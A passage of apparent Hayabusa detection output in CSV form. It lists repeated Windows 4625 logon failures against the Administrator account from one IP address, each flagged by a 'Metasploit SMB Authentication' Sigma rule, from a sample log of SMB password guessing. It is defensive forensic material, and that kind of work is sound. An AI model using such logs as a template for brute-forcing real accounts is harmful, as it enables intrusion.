Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.122 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9tBtz1GYn5J8sbFH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.122 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Qn8PlxEzIu9AKUgt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.160 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QdjqlNDU3U150UAw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.196 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esaTfuwuiFAkIVs6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y4LbVQ5ytgVCqFmL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.280 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rWoX76sgYTVwxkD5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.333 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.386 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QQFJRRYn6sjYK5cD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.386 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wyVuBGEFGJqImQ7W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.432 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pRvnyVGxG8i0e3PQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.468 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X6Hv2fj43a8j1O2P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.520 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: myP4zVFyw2qE1SV7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.564 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lpmBcVilH72dYF7E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.612 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.643 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Jd9hKGDxLcnZphlL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.643 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5OmXgOD9kaGJ4PIA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.684 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BpQtWW0fAEzNH28B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.724 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EgNkY8LKSWcnLM00 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.768 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z8S1dUwb3HjOnEs9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.813 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 49ZKcnswdISJDwbS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.869 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.914 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qOuYmww71pTM0l3t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.914 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PUHoGgmXKRJknRZG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.952 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6yf8LSkcwBP9s1mN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.988 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.036 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JmH2AMDmkZVbCt8b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.036 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I23o9EQLpPpn9RlY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.081 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.125 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MrEVj3DB1prpOtnq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.125 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0Iau1IHKxWRsqQaG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NdPC9LVhZS2l27XF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.212 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vxcofRpjCFme3mg2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.290 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e1VnQLbETh1GgX0c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.290 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rbdPYXx8mx4SV9G7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.336 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hcv3HWid3auIu7cY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.385 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5o2OviUvdOmk5HON : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.428 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bVBSORhgFwTy2TWO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.476 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DsIhCEZcfYenufvf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xDadVFtE4toNiagy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.560 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.601 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GnydJjDBdzJWqmWa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.601 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GW8im2IhNzrGoSFs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.652 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aTzlqq9HLEX6wzdU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.701 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.785 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gz98aGXd0fdVzmTy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.785 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.812 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q2zOy64cp6dXelNl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.812 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.858 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X1BflxNjQRNopjb4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.858 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.914 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 401ulFeuzCtp5lPF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.914 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p0SIzJrzkseFB1j8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cyQMxtEdbud8iJLI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7gbjIqxD4E6fYsGx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.044 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rEeZEcj63sBddCsK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.084 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tiATfqYtrH9LoqR0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.120 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.169 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PG3HB3GqFwQFLdcq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.169 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 